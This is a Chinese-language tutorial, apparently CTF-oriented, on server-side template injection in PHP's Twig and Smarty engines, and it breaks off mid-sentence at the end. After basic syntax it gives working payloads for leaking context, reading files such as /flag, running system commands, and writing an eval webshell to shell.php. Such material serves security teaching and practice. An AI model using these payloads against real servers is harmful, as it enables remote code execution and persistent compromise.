twig与smarty模板的ssti
模板介绍:
Twig 和 Smarty 都是 PHP 语言的模板引擎
简单说,它们的作用是:把 HTML 代码和 PHP 逻辑分开,让代码更整洁、更安全
1 2 3 4 5 6 7 8 9
| 没有模板引擎时的混乱写法: <?php if($user): ?> <h1><?php echo $user['name']; ?></h1> <?php endif; ?>
使用模板引擎后(HTML 纯模板): {% if user %} <h1>{{ user.name }}</h1> {% endif %}
|
核心语法:
Twig:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| 1.{ ------------------ 2.{{ variable }} 把 PHP 传递过来的变量计算并输出到 HTML 页面上,关键点:{{ ... }} 里的内容会被执行,结果会替换掉这组双花括号 ------------------ 3.{% if condition %} { 作用:实现 if/else、for 循环等逻辑控制。这部分负责决定“显示什么”或“重复显示什么”,但它本身不输出内容。 关键点:使用 {% ... %} 定界符,通常需要配合 {% endif %} 或 {% endfor %} 来结束。
场景举例:根据用户的 loginStatus(登录状态)显示不同的欢迎语 twig: {% if loginStatus == 'logged_in' %} <p>欢迎回来,{{ username }}!</p> {% else %} <p>您好,游客。请先<a href="/login">登录</a>。</p> {% endif %} --------------------- 4.{{ name|upper }} { 作用:在变量输出到页面之前,通过一个“过滤器”修改它的显示结果。 关键点:使用竖线 | 连接变量和过滤器。也可以串联多个过滤器,如 {{ name|lower|capitalize }}。 场景举例:确保所有用户名在页面上都以全大写形式显示,用于强调
twig: <p>重要通知:您的账户名 {{ name|upper }} 已注册成功。</p> ------------------------------------------------------------------------------------------------------------ Twig 使用不同的定界符来区分 HTML 和模板逻辑,你可以把它们理解为“特殊的标记”,告诉 Twig 引擎哪部分是普通 HTML,哪部分是需要执行的动态代码
|
smarty:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| 1.{$variable} { 输出变量:{$variable} 作用:把 PHP 传递过来的变量直接输出到 HTML 页面上 关键点:Smarty 用单花括号加美元符 {$ ... },Twig 用双花括号 {{ ... }}。 场景举例:后端 PHP 代码传入一个叫 username 的变量,值为 "张三"。 smarty: <h1>欢迎您,{$username}!</h1> ------------------------------------ 2.{if $condition} { 作用:在模板里写 if/else 判断或 foreach 循环,控制 HTML 的显示逻辑。 关键点:Smarty 用 {if ...} 和 {/if} 作为开始和结束标记。Twig 则用 {% if ... %} 和 {% endif %}。 场景举例:根据用户的 is_logged_in 状态,显示不同的内容。
smarty: {if $is_logged_in} <p>欢迎回来,{$username}!</p> {else} <p>您好,游客。请先 <a href="/login">登录</a>。</p> {/if} --------------------------------- 3.{$name|upper} { 作用:在变量输出前,通过“修饰器”修改它的显示效果,功能和 Twig 的“过滤器”一模一样。 关键点:同样使用竖线 | 连接变量和修饰器。Smarty 叫“修饰器”,Twig 叫“过滤器”。 场景举例:确保用户名在页面上以全大写形式显示
smarty: <p>系统提示:您的账户名 {$name|upper} 已创建。</p>
|
Twig
Twig 与 Jinja2 利用方式的本质区别
| 对比维度 |
Jinja2 (Python) |
Twig (PHP) |
| 利用核心 |
__class__.__mro__[2].__subclasses__() 链 |
_self.env 环境变量 + 回调函数注册 |
| 为何不同 |
Python 中一切皆对象,可通过类继承链找到 os 模块 |
Twig 无法调用静态方法,也没有 __class__ 链 |
| 命令执行方式 |
找到 os.system 或 subprocess.Popen |
注册 exec 或 system 为过滤器后调用 |
核心结论:Twig 的利用突破口是 _self.env 这个环境变量,它暴露了 Twig 内部的方法。
基础探测:(确认模板)
1 2 3
| {{7*7}} # 返回 49 → SSTI 存在 {{"7"*7}} # 返回 49(PHP 特性,不是字符串重复) {{[1,2,3][0]}} # 返回 1 → 数组访问正常
|
信息泄露
Twig 3.x
1 2 3 4 5 6 7 8 9 10 11
| 1.{{_context}} # 输出当前模板上下文中所有可用的变量(包括 PHP 后端传递过来的数据) 示例: 如果后端传递了敏感数据(如数据库密码、API 密钥、flag),可以直接暴露: {{ _context.db_password }} {{ _context.flag }}
{{_context|keys}} - 查看变量名列表 可能返回情况:['app', 'request', 'user', 'session', 'flag', ...] --------------------------- 3.{{_self}} # 查看模板对象信息 {{_self}} 在 Twig 模板中代表当前模板对象本身
|
Twig 2.x
1 2 3 4 5 6 7
| {{_self.env.globals}} # 获取全局变量 _self 当前模板对象 _self.env Twig 核心环境对象 _self.env.globals 环境对象中存储的全局变量数组 --------------------------------------------------- {{_self.env.getTemplate("index.php")}} # 读取文件 getTemplate() 是 Twig 环境对象的一个方法,本意是加载一个模板文件。但如果传入一个普通文件(如 index.php),Twig 会尝试读取并返回该文件的内容
|
命令执行
Twig 3.x
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| # 方法一:map + system(最稳定) {{['whoami']|map('system')}}
# 方法二:map + passthru {{['whoami']|map('passthru')}}
# 方法三:filter + system {{['whoami']|filter('system')}}
# 方法四:map + exec {{['whoami']|map('exec')}} -------------------------------------------------- map:它的作用是 “映射”。它会遍历数组中的每一个元素,对每个元素都执行一次你指定的函数,然后返回一个包含所有处理结果的新数组
filter:它的作用是 “过滤”。它会遍历数组中的每一个元素,用你指定的函数来测试每个元素,只保留那些测试结果为真的元素
示例解释: ['whoami']:这是一个只包含一个字符串元素 'whoami' 的数组。 |map('system'):map 过滤器会遍历这个数组,对数组里的每一个元素(也就是 'whoami' 这个字符串),去调用 PHP 的 system() 函数
执行流程: map 拿到数组的第一个(也是唯一一个)元素:'whoami'。
map 执行 system('whoami')。
服务器执行命令,返回用户名。
map 把执行结果放进一个新数组里。
最终效果:system('whoami') 被执行,命令成功运行。因为 system 函数会直接输出结果,所以你就能在页面上看到命令的执行结果 ------------------------------------------------- {{['whoami']|filter('system')}} 这是最容易混淆的一个。filter 的本意是 “过滤”,而不是执行
['whoami']:同样是包含 'whoami' 字符串的数组。
|filter('system'):filter 过滤器会遍历数组,用 system() 函数来测试每个元素。
执行流程(关键区别在这里): filter 拿到元素 'whoami'。
filter 执行 system('whoami') 来测试。它会把这个字符串 'whoami' 作为参数传给 system 函数。
命令确实会执行,这是我们要的结果。
然后,filter 会检查 system('whoami') 的返回值。在 PHP 中,命令执行成功通常返回最后一行输出,或者非 false 值。
因为返回值不是 false,所以 filter 认为 'whoami' 这个元素通过了测试,于是把它保留在新数组中。
最终,filter 返回的新数组里,依然包含 'whoami' 这个字符串,而不是命令的执行结果。
|
Twig 2.x(经典利用)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| # 第 1 步:获取环境对象(验证) {{_self.env}}
# 第 2 步:注册危险函数为"未定义过滤器"的回调 {{_self.env.registerUndefinedFilterCallback("system")}}
----------------------------------------- Twig 允许开发者自定义过滤器。当你在模板中使用一个过滤器时,Twig 会去查找这个过滤器是否已定义:
twig: {{ "hello"|upper }} {# upper 是已定义的过滤器,正常工作 #} 如果你使用了一个不存在的过滤器:
twig {{ "hello"|hack }} {# hack 过滤器不存在,Twig 会报错 #}
registerUndefinedFilterCallback 的作用就是:让你可以指定一个“备用方案” —— 当遇到不存在的过滤器时,不要报错,而是去调用你指定的这个函数 ------------------------------------------------------- # 第 3 步:触发回调,执行命令 {{_self.env.getFilter("whoami")}}
1.尝试获取名为 whoami 的过滤器
2.Twig 发现 whoami 过滤器不存在
3.触发之前注册的回调:调用 system("whoami")
4.系统执行命令,返回当前用户名
5.返回值:命令执行的结果
|
写webshell
1 2 3
| {{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("echo '<?php eval($_GET[cmd]);?>' > shell.php")}}
|
smarty
Smarty 是 PHP 生态中最经典的模板引擎之一,在 CTF 中频繁出现。与 Twig 不同,Smarty 的利用方式更加直接——它的 {if} 标签允许直接调用任意 PHP 函数
版本探测
命令执行
方法一:{if} 标签直接执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| # 执行 phpinfo() {if phpinfo()}{/if}
# 执行系统命令(system) {if system('whoami')}{/if}
# 执行系统命令(passthru) {if passthru('whoami')}{/if}
# 读取文件 {if readfile('/flag')}{/if}
# 读取文件(另一种方式) {if file_get_contents('/flag')}{/if}
# 显示源码 {if show_source('/flag')}{/if}
|
方法二:{php} 标签(仅旧版本可用)
在 Smarty 3.0 及更早版本中,{php} 标签允许直接嵌入 PHP 代码。
1 2 3
| {php} system('whoami'); {/php}
|
方法三:{literal} 标签 + PHP 标签(PHP 5 环境)
在 PHP 5 环境中,可以通过 {literal} 标签包裹 PHP 的 <script> 标签来执行代码:
smarty
1 2 3
| {literal} <script language="php">phpinfo();</script> {/literal}
|
注意:这个方法在 PHP 7 中已失效(PHP 7 移除了 `